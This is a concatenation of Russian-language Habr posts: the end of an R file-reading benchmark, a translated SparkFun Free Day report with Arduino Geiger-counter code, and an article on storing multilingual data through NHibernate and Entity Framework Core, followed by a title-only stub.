* readr::read\_csv
* data.table::fread
* base::load
* base::readRDS
* feather::read\_feather
```
library(microbenchmark)
benchmark <- microbenchmark(readCSV = utils::read.csv(path_csv),
readrCSV = readr::read_csv(path_csv, progress = F),
fread = data.table::fread(path_csv, showProgress = F),
loadRdata = base::load(path_rdata),
readRds = base::readRDS(path_rds),
readFeather = feather::read_feather(path_feather), times = 10)
print(benchmark, signif = 2)
##Unit: seconds
## expr min lq mean median uq max neval
## readCSV 200.0 200.0 211.187125 210.0 220.0 240.0 10
## readrCSV 27.0 28.0 29.770890 29.0 32.0 33.0 10
## fread 15.0 16.0 17.250016 17.0 17.0 22.0 10
## loadRdata 4.4 4.7 5.018918 4.8 5.5 5.9 10
## readRds 4.6 4.7 5.053674 5.1 5.3 5.6 10
## readFeather 1.5 1.8 2.988021 3.4 3.6 4.1 10
```
И **победитель**… `feather`! Однако, использование `feather` предполагает предварительную конвертацию файлов в этот формат.
Использование `load` или `readRDS` может улучшить производительность (второе и третье место с точки зрения скорости), хранение маленького / сжатого файла — тоже преимущество. В обоих случаях сначала придется сконвертировать ваш файл в соответствующий формат.
Что касается чтения из формата `csv`, `fread` значительно выигрывает у `read_csv` и `read.csv`, и соответственно, является лучшим вариантом для чтения из `csv`-файла.
В нашем случае решили работать с `feather`-файлом, поскольку конвертация из `csv` в этот формат была однократной, и у нас не было строгого ограничения на размер файлов, потому мы не рассматривали форматы `Rds` или `RData`.
Окончательная последовательность действий была такой:
1. чтение `csv`-файла, предоставленного заказчиком, с помощью `fread`,
2. запись этого файла в `feather` через `write_feather`, и
3. загрузка `feather`-файла при запуске приложения, используя `read_feather`.
Первые две задачи были выполнены единожды и вне контекста приложения на Shiny.
Есть еще один [интересный тест производительности](https://gist.github.com/hadley/6353939) по считыванию файлов в R. К сожалению, если использовать функции, указанные в статье, вы получите объекты строкового типа, и придется выполнить какую-то обработку строковых данных, прежде чем можно будет работать с наиболее широко и часто применяемым **dataframe**. | https://habr.com/ru/post/326616/ | null | ru | null |
# Sparkfun.com FREE day или *как вы относитесь к recaptcha*
[Вдохновение](http://habrahabr.ru/post/155151/).
Пока 55% ненавидит…
А я выбрал «другое». Потому что люблю. Но не за то, что считаю удобнее других, а за то, что…
Раз в год американская компания sparkfun.com, хорошо знакомая всяким DIY-щикам, проводит (почти что) лотерею. В последний, или, как говорят парашютисты, крайний раз они делали это 10-го января сего года. Суть проста — заходишь на сайт и в течение определенного времени разгадываешь те самые ненавистные рекапчи. Некое устройство рандомно выбирает одну из разгаданных капч и выдает автору сертификат на $100 — на эти деньги можно заказать что угодно на спаркфане, оплачивается только доставка. То есть абсолютно честный гив-эвей.
И вот, в 9ам по колорадскому времени, куча народу со всего мира садиться гадать рекапчи. Сайт тут же падает. На его место вешают заглушку, которая извиняется за недоступность магазина и выбрасывает тебя на отдельную страницу разгадывания капч. На самом деле там, в Колорадо, народ не сидит и не ржет над разгадывальщиками, а изо всех сил пытается побороть этот хабраэффект.
Я выиграл — через полчаса вбиваний рекапчи:
Представляю сколько народу уже бросило читать и нагадило мне в карму. Теперь вкусненькое для самых стойких. Перевод отчета с сайта спаркфана:
#### Отчет о Free day
12 Января 2012
Снова январь и еще один Free Day. Выиграли ли вы или проиграли, мы надеемся, что все получили удовольствие. Уж мы-то получили тонну удовольствия устраивая его — это точно!
Числа:
Кое-какие числа, потом расскажу как мы это организовывали.
* **6,437,592 верных решений** рекапчи. Сюда не входят те попытки, в которых рекапча была разгадана неверно, как и те, которые регистрировались при нажатии кнопки GO без заполнения поля ответа
* Если считать, что усредненный человек тратит 4 секунды на капчу, на все про все было потрачено **7 188 часов**, т.е. около **10 месяцев** времени!
* Каждая капча была обработана сервером спаркфана — т.е. 300 капч в секунду в течение 355 минут — когда мы раздавали деньги
* **32,137 Уникальных посетителей** на сайте (по отчетам Analytics). С некоей погрешностью это число игроков.
* В среднем, **каждый заполнил 208 капч**. Зная, что такое капча — это дофига!
* **704,617 просмотров страниц** на сайте в течение дня
* Было распределено **2000 промо-кодов**, из них **473 было заклаймлено в тот же день**. Первый заказ ушел в доставку в 10:45, т.е. менее чем через 2 часа после начала мероприятия
* Мы выдавали промо-коды примерно **раз в 5.6 минут**
* В этот день было зарегистрировано **7776 аккаунтов**
#### Еще числа, для тех, кто в теме
* В максимуме наш MySQL обрабатывал **13,380 запросов в секунду**
* Максимум пропускной способности нашей сети был **1,214.35Mb/s**
* Максимум ширины канала к провайдеру достиг **чуть более 76M.b/s**
* В максимуме у нас было **84,220 активных TCP подключений**.
* Мы забанили **32 бота**.
* Мы положили внешний сайт перенаправляя слишком большой трафик на него (Прости, [Pachube](https://cosm.com/)!)
#### Реальная установка, которая использовалась
Как мы этот сделали — опять же, для гиков. Если вы участвовали в первых двух акциях, вы могли заметить, что акция в этом году прошла намного лучше. Если исключить то, что сайт захлебнулся в первые минуты, когда пошел самый большой наплыв участников, сайт вполне себе отвечал, в то время, как он на самом деле обрабатывал огромный трафик. Что же изменилось по сравнению с прошлыми годами?
Мы подтянули кое-какой софт и хард к нашим серверам. Теперь у нас есть пара жирненьких веб-сервера, каждый с 16-ю ядрами и 32 гигами оперативки, и у нас есть хардовые балансировщики нагрузки.
Плюс к этому, мы оптимизировали наш собственный код для работы с нашим железом, поменяли кое-какой оупен-сорс софт. Мы также перешли с Apache на Nginx, на котором всю обработку вел PHP-FPM. Перед всем этим еще тусит Varnish кэшируя все, что получается — что оказалось офигенски полезным для проведения акции.
Также, в прошлые годы мы заметили, что чаще всего лаги были обусловлены тормозами MySQL, ну мы и подперли его кое-где MongoDB. Для некоторых (особенно иерархичных данных) это имело смысл. Это помогло нам реально быстро показывать странички. К сожалению, из-за небольшого бага в драйвере PHP Mongo у нас в первые минуты акции вышел затык.
Раньше мы весь-весь контент отдавали прямо с нашего сервера. Когда нагрузка нормальная, это ОК — страницы грузятся нормально и канал мы съедаем небольшой. Естественно во время проведения Free Day все меняется. В этом году мы весь статичный контент повесили на Amazon Cloudfront. Cloudfront — это такая глобальная CDN, которая сидит поверх всем известного стоража S3 и грузит контент с краевых серверов пользователям по всему миру. При этом, естественно, нагрузка ложится на них, а не на нас. Но и это особо не спасает. Те 76Mb/s, что мы пропускали через свои сервера — это был в основно запакованный gzip текст.
#### Счетчик Гейгера?
Ну а чо. Любой человек, знакомый с computer science, скажет вам, что случайные числа, которые генерит комп — это на самом деле псевдо-случайные числа. Их можно предсказать — даже если есть 1 шанс из миллиона на успех, это все равно шанс. Ну и как же нам построить абсолютно случайную систему?
Мы выбрали [счетчик гейгера](https://www.sparkfun.com/products/10742) для измерения фоновой радиации. Счетчик дергает ногу контроллера вниз каждый раз, когда видит заряженную частицу — это происходит абсолютно точно рандомно. Мы установили наш Ethernet Pro, чтобы следить за этими прерываниями и посылать байт демону, сидящему на одно из веб-серверов, чтобы он уведомил следующего разгадавшего капчу о победе.
Вот код для дуни:
```
#include
#include
#include
// Default 'ino MAC address
byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
byte ip[] = { 192, 168, 0, 2 };
int up = 8;
int down = 7;
int upstate = 0;
int downstate = 0;
// replace with your server
byte server[] = { 192, 168, 0, 1 };
EthernetClient client;
SFEbarGraph BG;
volatile int counter = 0;
int oldcount = 0;
int target = 8;
int multiplier = 2;
void setup() {
BG.begin(1, 9);
// Interrupt from the Geiger tube
attachInterrupt(0, detect, RISING);
Serial.begin(9600);
Ethernet.begin(mac, ip);
// set up buttons
pinMode(up, INPUT);
digitalWrite(up, HIGH);
pinMode(down, INPUT);
digitalWrite(down, HIGH);
delay(1000);
}
void loop() {
// read up button
if(LOW == digitalRead(up)) {
if(0 == upstate) {
target++;
redraw();
upstate = 1;
}
} else {
upstate = 0;
}
// read down button
if(LOW == digitalRead(down)) {
if(0 == downstate) {
target--;
redraw();
downstate = 1;
}
} else {
downstate = 0;
}
if(counter == oldcount) {
delay(1);
return;
}
oldcount = counter;
// handle wins
if(counter >= target) {
win();
counter = 0;
oldcount = 0;
return;
}
redraw();
}
// for the interrupt
void detect() {
counter++;
}
void redraw() {
// boundaries
if(target > (30 / multiplier))
target = (30 / multiplier);
if(target < 1)
target = 1;
BG.clear(); BG.send();
BG.barGraph(counter \* multiplier, target \* multiplier);
}
void win() {
Serial.println("WINNER");
for(int i = target \* multiplier; i >= 0; i--) {
BG.barGraph(i, target \* multiplier);
delay(35);
}
if ( ! client.connected()) {
Serial.println("connecting...");
if (client.connect(server, 5555)) {
Serial.println("connected");
} else {
Serial.println("connection failed");
}
}
// Print a 1 to the Ethernet server for every win
client.print("1");
}
```
Ну и чтобы закрыть тему, вот [код бит-сервера](https://github.com/benlemasurier/meltdown), который написал Бен для обработки сотен запросов в секунду. Он проверял его на нагрузке до 600 тыс запросов в секунду.
Ну и кто знает английский — не откажите себе в удовольствии почитать комментарии к [этой](http://www.sparkfun.com/news/781) записи и посмотрите [видео](http://www.sparkfun.com/news/834). Там вы узнаете, любит ли народ капчу.
От переводчика и автора поста: перевод достаточно вольный — не обессудьте. Настроение такое, что либо так, либо никак. | https://habr.com/ru/post/155161/ | null | ru | null |
# Подвалы Вавилонской башни, или Об интернационализации баз данных с доступом через ORM
[*Гравюра М. Эшера «Относительность», 1953*](https://ru.wikipedia.org/wiki/%D0%9E%D1%82%D0%BD%D0%BE%D1%81%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(%D0%BB%D0%B8%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F))
Введение
========
В [предыдущей статье](https://habrahabr.ru/company/custis/blog/313284/) на примере доменной сущности товара мы рассмотрели собственные типы данных для многоязычных приложений. Мы научились описывать и использовать атрибуты сущностей, имеющие значения на различных языках. Но вопросы хранения и обработки в реляционной СУБД, а также проблемы эффективной работы в коде приложения до сих пор актуальны.
IT-сообщество использует различные способы хранения многоязычных данных. Способы эти кардинально различаются эффективностью запросов, устойчивостью к добавлению новых локализаций, объемом данных, удобством для приложения-потребителя.
Однако в индустрии все еще нет решения *Database Internationalization for Dummies*. Вместе с вами мы попробуем немного заполнить этот пробел: опишем возможные способы, оценим их преимущества и недостатки, выберем эффективные. Мы не собираемся изобретать серебряную пулю, но сценарий, который будем рассматривать, довольно типичен для корпоративных приложений. Надеемся, многим он окажется полезен.
Приведенные в статье фрагменты кода — на языке C#. На GitHub можно найти [примеры реализации](https://github.com/CUSTIS-public/CUSTIS.i18n.DAL) механизмов интернационализации с использованием двух различных связок ORM и СУБД: [NHibernate](http://nhibernate.info/) + [Oracle Database](http://www.oracle.com/technetwork/database/enterprise-edition/overview/index.html) и [Entity Framework Core](https://docs.microsoft.com/en-us/ef/#pivot=efcore) + [SQL Server](https://www.microsoft.com/en-us/sql-server/developer-get-started/). Разработчикам, использующим упомянутые ORM, будет интересно узнать конкретные приемы и трудности работы с многоязычными данными, а также блокирующие дефекты фреймворков и перспективы их устранения. Изложенные ниже принципы и примеры работы с многоязычными данными легко перенести и на другие языки и технологии.
Условия задачи
==============
Наше приложение должно работать сразу с несколькими языками. На любом из них в зависимости от окружения пользователя будут отображаться и вводиться оперативные и справочные данные. При этом существуют сценарии, требующие умения в рамках одной сессии работать с данными сразу на всех языках.
Для примера рассмотрим уже знакомую нам доменную сущность товара, имеющую наименование на различных языках.
```
public class Product
{
public long Id {get; set; }
public String Code { get; set; }
public MultiCulturalString Name { get; set; }
}
```
Сформулируем требования к хранению и обработке данных сущности с многоязычными атрибутами:
1. Хранение, чтение и запись таких сущностей должны быть и через ORM (преимущественно), и средствами СУБД (хотя бы для целей сопровождения).
2. Многоязычных атрибутов может быть несколько.
3. Должно выполняться требование [*локализуемости*](https://docs.microsoft.com/en-us/globalization/localizability/overview).
4. Должна быть возможность быстрого поиска и сортировки по локализованным значениям многоязычного атрибута:
* только для заданной локали;
* с учетом заданного алгоритма обработки альтернативных ресурсов (если для запрошенной локали значение отсутствует).
5. Должна быть возможность поиска по локализованным значениям многоязычного атрибута среди всех локалей.
6. Должна быть возможность расширения для локализации не только строковых атрибутов, но и атрибутов других типов (полезен `MultiCultural`).
7. Объемы хранимых данных и трафика между БД и приложением должны быть допустимыми.
Напомним, что алгоритм обработки альтернативных ресурсов `IEnumerable IResourceFallbackProcess.GetFallbackChain(CultureInfo initial)` может возвращать различные порядки поиска локализаций для различных начальных локалей `initial`:
* для `initial` локали `ru-RU`: `ru-RU -> ru`;
* `initial` локали `en-US`: `en-US -> en -> ru`;
* `initial` локали `kz-KZ`: `kz-KZ -> kz -> ru`;
* `initial` локали `zh-CH`: `zh-CH -> zh-CHS -> zh-Hans -> zh -> en`.
Обзор существующих возможностей
===============================
СУБД
----
Какие же фичи есть в крупнейших современных СУБД для интернационализации? Это:
* Юникод;
* Collation (правила сравнения символов, регистрочувствительность и пр.);
* Дата-время с часовым поясом/смещением.
Эти фичи поддерживают многие крупные вендоры. Приведем ссылки на некоторые статьи:
* Microsoft: [International Considerations for Databases and Database Engine Applications](https://msdn.microsoft.com/en-us/library/ms190245.aspx);
* Oracle: [Designing Database Schemas to Support Multiple Languages](https://docs.oracle.com/database/121/NLSPG/ch6unicode.htm#NLSPG325).
Однако никаких «стандартных» схем хранения многоязычных данных не существует. Нет их и в самом свежем стандарте SQL:2016.
Из любопытных академических публикаций можно отметить кандидатскую диссертацию экс-главы [Исследовательской группы многоязычных систем](https://www.microsoft.com/en-us/research/group/multilingual-systems/) Microsoft [Multilingual Information Processing on Relational Database Architectures](https://www.microsoft.com/en-us/research/publication/multilingual-information-processing-on-relational-database-architectures/), 2005. В работе рассматриваются проблемы кросс-языковых запросов, многоязычные операторы соединения (multilingual join operators), алгебра запросов для нового типа хранения многоязычных данных и упомянутых операторов.
ORM
---
Документация по NHibernate порадовала присутствием статьи [Localization techniques](http://nhibernate.info/doc/howto/various/localization-techniques). В ней рассматриваются два способа хранения (с вариациями):
1. Одна колонка, в которой хранится пользовательский тип данных — словарь *локаль-данные*.
2. Отдельные таблицы для хранения локализованных атрибутов (1-2 шт.).
Примечательно, что в этой статье даже не упоминается достаточно очевидный и популярный способ хранения — многоколоночный (колонка на локаль).
По Entity Framework значимых материалов найти не удалось.
Сравнение хранений
==================
Для начала сформируем критерии сравнения. Для этого описанные выше требования переформулируем в более технические. Как мы убедимся далее, все они довольно жесткие.
**Локализуемость.** Изначально требование означает отсутствие изменений в коде, когда новая локализация добавляется в приложение. Применительно к приложениям с локализованными данными мы, например, можем говорить об отсутствии изменений в схеме данных и маппингов ORM.
**Поиск и сортировка для заданной локали.** В терминах многоязычной строки это означает возможность использовать индексы по результатам функции `String MultiCulturalString.GetString(IResourceFallbackProcess resourceFallbackProcess, CultureInfo culture, bool useFallback)` для всех осмысленных в данном приложении комбинаций значений ее параметров. Экземпляр `IResourceFallbackProcess` в приложении, вероятно, единственный, при `useFallback = false` значение `resourceFallbackProcess` роли не играет, поэтому число необходимых индексов по локализованным данным не более `2N`, где `N` — число различных локалей, используемых во всех записях в многоязычном атрибуте.
**Поиск среди всех локалей.** Требуется поддержка функции вида `MultiCulturalString.FindLocalizedStringCulture(String localizedString)` с типом возвращаемого значения `CultureInfo`.
**Поиск подходящей локализации.** Локаль пользователя всегда специфичная, то есть определяет не только язык, но и региональные параметры. А для хранения в большинстве случаев достаточно использовать нейтральные локали (не задающие специфику региона), «ближайшие» к выбранным специфичным.
Поэтому из приведенных выше десяти локалей нам достаточно предусмотреть хранение только для четырех нейтральных: `ru`, `en`, `kz`, `zh-Hans`. А в ORM можно поддержать функционал приведения специфичной локали к нейтральной при присваивании атрибута и (или) сохранении сущности.
**Пригодность для ORM.** У выбранного ORM должно быть достаточно точек расширения, чтобы мы смогли претворить в жизнь все наши фантазии о многоязычном хранении. Иначе [придется писать](https://goo.gl/s89eAY) новый фреймворк.
Многоколоночное хранение
------------------------
Этот вариант требует заранее знать список необходимых локализаций. А для каждой новой используемой локали нам понадобится добавлять новую колонку и пару индексов. И так для каждого многоязычного атрибута во всех таблицах локализуемых сущностей. Вероятно, придется изменять маппинги ORM в коде и (или) конфигурации клиента БД, особенно для статических моделей.
Но не стоит сразу расстраиваться. Изменения в коде и конфигурации, скорее всего, не станут большой проблемой для приложения, в котором заранее известен и редко меняется список используемых локалей и (или) используются динамические сущности. Кроме того, как увидим далее, требование локализуемости так или иначе придется ослаблять для всех рассматриваемых вариантов.
С созданием индексов для каждой из `name_*`-колонок для случая, когда мы не используем поиск подходящей локализации, вроде все очевидно. Но как будет выглядеть запрос, в котором должен работать `IResourceFallbackProcess`?
Рассмотрим, например, такой запрос:
```
var enUS = CultureInfo.GetCultureInfo("en-US");
var productName = "...";
var result = GetRepository()
.Where(p => p.Name.ToString(enUS) == productName)
.SingleOrDefault();
```
Думаю, вы согласитесь, что он вполне может быть реализован следующим SQL-запросом:
```
SELECT pr.id_product, pr.code, pr.name_ru, pr.name_en, pr.name_kz, pr.name_zh_hans
FROM t_product pr
WHERE isnull(pr.name_en, isnull(pr.name_ru, '')) LIKE @p1
ORDER BY isnull(pr.name_en, isnull(pr.name_ru, '')), pr.id_product
```
Чтобы получать «честный» `null` вместо пустой строки, когда запрашиваемое значение отсутствует, с точки зрения многоязычной строки следует использовать одну из перегрузок `MultiCulturalString.GetString`. Тогда выражение фильтрации в SQL немного упростится:
```
SELECT pr.id_product, pr.code, pr.name_ru, pr.name_en, pr.name_kz, pr.name_zh_hans
FROM t_product pr
WHERE isnull(pr.name_en, pr.name_ru) LIKE @p1
ORDER BY isnull(pr.name_en, pr.name_ru), pr.id_product
```
Получаем, что еще хотя бы по одному индексу на локаль нам необходимо строить по выражению с `isnull`, которое является SQL-отображением цепочки поиска альтернативных ресурсов. Такие индексы обычно называют функциональными, в SQL Server это индексы над вычислимыми колонками. В приведенном выше описании таблицы `t_product` эти индексы имеют суффикс `_stdfallback`.
О виде запроса в случае поиска строки среди всех локализаций мы предоставим читателю возможность пофантазировать.
Такой способ хранения и доступа реализован для одного из клиентов нашей компании.
Одноколоночное сериализованное хранение
---------------------------------------
В этом варианте многоязычный атрибут занимает только одну колонку. Многоязычная строка может быть сериализована как в бинарном, так и в человекочитаемом виде. Или, например, в Oracle колонка может иметь объектный тип.
Учитывая современные тенденции развития стандарта SQL, стоит обратить внимание на XML- или JSON-хранение. Oracle Database, SQL Server, DB2, PostgreSQL, MySQL имеют довольно серьезную поддержку XML и (или) JSON.
Принимая такое решение, нам необходимо позаботиться о возможности получения (а кому-то — и записи) локализованных значений средствами СУБД. Универсальным и хорошо инкапсулирующим конкретный вариант сериализации способом будет создание пользовательской скалярной функции, которая принимает на вход сериализованное значение, локаль и цепочку для поиска подходящей локализации, а возвращает локализованную строку.
SQL-запрос для поиска будет выглядеть примерно так:
```
SELECT pr.id_product, pr.code, pr.name
FROM t_product pr
WHERE McsGetString(pr.name, 'en', 'en,ru') LIKE @p1
ORDER BY McsGetString(pr.name, 'en', 'en,ru'), pr.id_product
```
При появлении новой локали нам все же придется добавлять новые функциональные индексы по результатам функции `McsGetString`. Добавление только индексов — более безопасное действие, чем добавление новых колонок. В отличие от многоколоночного хранения маппинги ORM, вероятно, изменять не придется.
Реляционное хранение
--------------------
Здесь мы заводим отдельную таблицу для хранения локализованных значений. Вариаций такого хранения множество. Рассмотрим только один из них.
SQL-запроc для поиска только по одной локали выглядит довольно просто:
```
SELECT pr.id_product, pr.code, pl.name
FROM t_product pr
LEFT JOIN t_product_localizable pl
ON pr.id_product = pl.id_product AND pl.locale = 'en'
WHERE pl.name LIKE @p1
ORDER BY pl.name, pr.id_product
```
SQL-запроc с учетом поиска подходящих локализаций уже более громоздкий:
```
SELECT pr.id_product, pr.code, pl_en.name, pl_ru.name
FROM t_product pr
LEFT JOIN t_product_localizable pl_ru
ON pr.id_product = pl_ru.id_product AND pl_ru.locale = 'ru'
LEFT JOIN t_product_localizable pl_en
ON pr.id_product = pl_en.id_product AND pl_en.locale = 'en'
WHERE isnull(pl_en.name, isnull(pl_ru.name, '')) LIKE @p1
ORDER BY isnull(pl_en.name, isnull(pl_ru.name, '')), pr.id_product
```
Такой запрос преподносит нам целый букет сюрпризов.
Во-первых, стоимость запроса уже заметно выше, чем в предыдущих вариантах.
Во-вторых, при помощи такого запроса проблематично инстанцировать сущность с полностью инициализированным многоязычным атрибутом. Либо мы должны добавить `LEFT JOIN` для всех локалей, список которых нужно знать заранее, либо отказаться от использования атрибута типа `MultiCulturalString`, заменив на `String` и уменьшив число покрываемых сценариев. Еще один вариант — поддержать ленивую загрузку значений для различных локалей внутри многоязычной строки. Каждая из альтернатив имеет право на жизнь с учетом конкретных требований к продукту.
В-третьих, мы собираемся поддержать работу с многоязычными атрибутами в существующих ORM. Но нам вряд ли удастся найти такую точку расширения, чтобы добавить `JOIN` в SQL-запрос, при этом оставаясь в рамках простого LINQ-запроса:
```
var result = GetRepository()
.Where(p => p.Name.ToString(enUS) == productName)
.SingleOrDefault();
```
Соединения с таблицей `t_product_localizable` можно заменить на подзапросы, но это принципиально ничего не меняет.
Весьма любопытный результат, не правда ли? Зато требование локализуемости выполняется.
Выводы
------
Как мы и ожидали, найти серебряную пулю среди рассмотренных вариантов не удалось. В каждом из них в большей или меньшей степени нарушается одно или несколько требований. Однако это не повод ничего не делать. Нам необходимо принять компромиссное решение, выбрать золотую середину.
Наиболее взвешенным и перспективным мы посчитали вариант одноколоночного сериализованного хранения. Поэтому в следующем разделе предлагаем рассмотреть особенности реализаций этого варианта для связок [NHibernate](http://nhibernate.info/) + [Oracle Database](http://www.oracle.com/technetwork/database/enterprise-edition/overview/index.html) и [Entity Framework Core](https://docs.microsoft.com/en-us/ef/#pivot=efcore) + [SQL Server](https://www.microsoft.com/en-us/sql-server/developer-get-started/). Сериализацию многоязычных атрибутов будем делать в XML, а для доступа к локализованным значениям из БД — использовать средства СУБД.
Расширяем ORM
=============
Итак, мы предпримем попытку поддержать работу с сущностями, содержащими атрибут типа `MultiCulturalString`, а также запрос поиска таких сущностей по локализованному значению атрибута.
Вопрос поиска многоязычного атрибута по всем локалям мы рассматривать не будем, предоставив это заинтересованному читателю.
В реализации мы исходим из следующих принципов:
1. Сущности описываются классами POCO (в Java — POJO).
2. Сущности отделены от маппинга на объекты БД, в том числе от преобразований в формат БД и обратно.
3. В запросах по возможности применяем «родное» API многоязычной строки. Таким образом получим прозрачное использование одного API и на клиенте, и на сервере.
4. Деление на сборки должно быть мелким для лучшего разделения ответственностей, контроля зависимостей и переиспользования.
Приведем диаграмму зависимостей с мелким делением на сборки.
Сериализовывать значения многоязычной строки мы будем в XML. В .NET удачно разделены ответственности за содержание сериализованных данных (`ISerializable`, `ISerializationSurrogate`) и конечное сериализованное представление (`IFormatter`). И если первую ответственность вполне логично возложить на сам сериализуемый объект, то вторая сильно зависит от использования. Поэтому для форматирования применим найденный на просторах интернета `XmlFormatter: IFormatter`, использующий `ISerializable`-возможности объектов.
NHibernate + Oracle Database
----------------------------
NHibernate, пожалуй, уже давно наиболее функциональный ORM под .NET. Вместе с тем он содержит противоречивые наслоения, возникшие на разных этапах своего развития. Сейчас версии выходят крайне редко, контрибьюторов осталось мало. Некоторые давно ожидаемые исправления дефектов, видимо, не выйдут никогда.
Чтобы загрузить и сохранить значения многоязычной строки, нам необходимо реализовать `IUserType`, в котором и использовать упомянутый `XmlFormatter`.
**Многоязычная строка в XML выглядит довольно очевидно.**
```
xml version="1.0" encoding="UTF-8"?
Шоколад Алина
Chocolate Alina
```
**«Сердце» функции доступа к локализованным значениям McsGetString использует XQuery.**
```
SELECT XMLCast(
XMLQuery('declare namespace i18n="http://custis.ru/i18n"; for $mcs_locale in $mcs/i18n:MultiCulturalString/* where $mcs_locale/name() = $locale return $mcs_locale/text()'
PASSING a_mcs AS "mcs", a_locale AS "locale" RETURNING CONTENT)
AS VARCHAR2(4000 CHAR))
INTO l_value
FROM dual;
```
Чтобы использовать эту функцию в [HQL](http://nhibernate.info/doc/nhibernate-reference/queryhql.html), достаточно добавить реализацию `ISQLFunction` в конфигурацию NHibernate. Но кроме того, мы хотим, чтобы обращение в LINQ-to-Database к перегрузкам `MultiCulturalString.ToString()` превращалось в вызов функции `McsGetString`. Впрочем, и для этого в NHibernate есть точка расширения: достаточно реализовать `IHqlGeneratorForMethod` и также зарегистрировать реализацию в конфигурации. Сама реализация `IHqlGeneratorForMethod` ожидаемо преобразует одно дерево выражений в другое.
Вот, собственно говоря, и все. Неужели мы молодцы, а с NHibernate все так беспроблемно? Увы, нет!
**Вот такой простой тест не пройдет.**
```
[Test]
public void TestNh2500()
{
using (var session = SessionFactory.OpenSession())
{
var product = new Product
{
Code = ProductCode,
Name = new MultiCulturalString(ru, ProductNameRu)
.SetLocalizedString(en, ProductNameEn)
};
session.Save(product);
}
using (var session = SessionFactory.OpenSession())
{
var product = session.AsQueryable()
.SingleOrDefault(p => p.Name.ToString(zhCHS)) == ProductNameEn);
Assert.IsNotNull(product);
Assert.AreEqual(ProductCode, product.Code);
}
using (var session = SessionFactory.OpenSession())
{
var product = session.AsQueryable()
.SingleOrDefault(p => p.Name.ToString(ruRU)) == ProductNameEn);
// The next line throws AssertionException
Assert.IsNull(product);
}
}
```
Для обоих запросов будет сгенерирован одинаковый SQL:
```
select
product0_.id_product as id1_0_,
product0_.code as code0_,
product0_.name as name0_
from
t_product product0_
where
McsGetString(product0_.name, 'zh-CHS', 'zh-CHS,zh-Hans,zh,en')=:p0;
```
Все дело в дефекте [NH-2500](https://nhibernate.jira.com/browse/NH-2500): LINQ-запросы даже разных сессий кэшируются на уровне фабрики сессий и переиспользуются, несмотря на различные значения параметров запроса. Хотя баг уже шесть лет как критичный, исправление войдет только в будущую версию 5.1. А пока можно выпустить fork NHibernate. Если вам понадобится править какие-то другие дефекты NHibernate, низкая динамика продукта делает риски «протухания» ваших правок невысокими.
Entity Framework Core + SQL Server
----------------------------------
Не так давно вышел [EF Core 2.0](https://docs.microsoft.com/en-us/ef/core/what-is-new/), и дальнейшее развитие именно за этой кроссплатформенной ветвью. Для наших примеров мы выбрали его, а не [EF 6](https://docs.microsoft.com/en-us/ef/ef6/), так как надеемся на скорое решение описанных ниже проблем.
К сожалению, в EF Core мы не можем реализовать поддержку пользовательского типа, в том числе `MultiCulturalString`. Но уже в версии фреймворка 2.1 появится такая возможность (см. [issue #242](https://github.com/aspnet/EntityFrameworkCore/issues/242)).
**А пока что создадим прокси-класс для нашего товара со строковым атрибутом RawName.**
```
public class Product
{
public virtual long Id { get; protected set; }
public virtual String Code { get; set; }
public virtual MultiCulturalString Name { get; set; }
}
public class ProductProxy : Product
{
public override MultiCulturalString Name
{
get => base.Name;
set
{
_rawName = ConvertToStoredValue(value);
base.Name = value;
}
}
public virtual String RawName
{
get => _rawName;
set
{
base.Name = ParseStoredValue(value);
_rawName = value;
}
}
private String _rawName;
...
}
```
Именно прокси-класс будет участвовать в нашем `DbContext`. Как вы догадались, атрибут `Name` в маппинге участвовать не будет вовсе. Ну и конечно же, читателю хотелось бы используемый в маппинге атрибут `RawName` сделать `protected`, благо ORM-у это не мешает. Но не торопитесь!
Уже знакомый нам запрос
```
var result = GetRepository()
.Where(p => p.Name.ToString(enUS) == productName)
.SingleOrDefault();
```
заработает в EF без дополнительных усилий с нашей стороны. Но только на клиенте! Ведь атрибут `Name` никак не маппится на БД.
Большое подспорье, что EF позволяет получать предупреждения о клиентском выполнении части запроса либо вовсе запрещать его при помощи `DbContextOptionsBuilder.ConfigureWarnings`.
И даже после того, как будет сделан [issue #242](https://github.com/aspnet/EntityFrameworkCore/issues/242), мы можем использовать только статические функции для маппинга на функции БД. Использовать экземплярную функцию `ToString` не получится, см. [issue #9213](https://github.com/aspnet/EntityFrameworkCore/issues/9213).
Возможным (пусть и временным) выходом для нас видится объявление методов-расширений `DbUserDefinedMethods.McsGetString(this String mcs, ...)`, по сигнатурам совпадающих с многочисленными перегрузками `MultiCulturalString.ToString`, без учета первого параметра `this`. Запросы будут иметь несколько искусственный вид:
```
var result = GetRepository()
.Where(p => p.RawName.McsGetString(enUS) == productName)
.SingleOrDefault();
```
Такие методы-расширения регистрируются в построителе модели, и задается преобразование из одного дерева выражений в другое, реализация которого практически не отличается от реализации `IHqlGeneratorForMethod` для NHibernate.
Вдобавок в EF вычислимость выражения анализируется на серверной стороне без учета преобразования зарегистрированной функции. Поэтому перегрузки `DbUserDefinedMethods.McsGetString`, содержащие неизвестные ORM типы `CultureInfo` и `IResourceFallbackProcess`, будут всегда вычисляться на клиенте.
Альтернатива всем перечисленным «костылям» в EF есть — это написание собственного провайдера. Тогда можно поддержать и любые типы, и необходимые экземплярные функции. Но с точки зрения поддержки, синхронизации с провайдером-оригиналом, который активно развивается, такое архитектурное решение выглядит слабым. Поэтому будем надеяться на хорошую динамику новой ветви развития EF.
Заключение
==========
Мы рассмотрели возможный сценарий использования и реализации поддержки многоязычных атрибутов. В то же время для некоторых простых сценариев использования многоязычных атрибутов достаточно в сущности декларировать только строковый атрибут, а для переключения между локализациями — вводить специальные методы вида `static String InLocale(this String mcs, CultureInfo culture, ...)`.
Недостаток рассмотренного варианта одноколоночного сериализованного хранения — в частности, больший трафик между клиентом и сервером и более высокое потребление памяти.
Тем не менее поддержка многоязычных атрибутов и запросов с ними со стороны ORM позволяет получить полное, однородное и прозрачное для разработчиков решение. С нашей точки зрения, это неоспоримое преимущество описанного подхода. | https://habr.com/ru/post/313690/ | null | ru | null |
# Взгляд на технологии последнего десятилетия
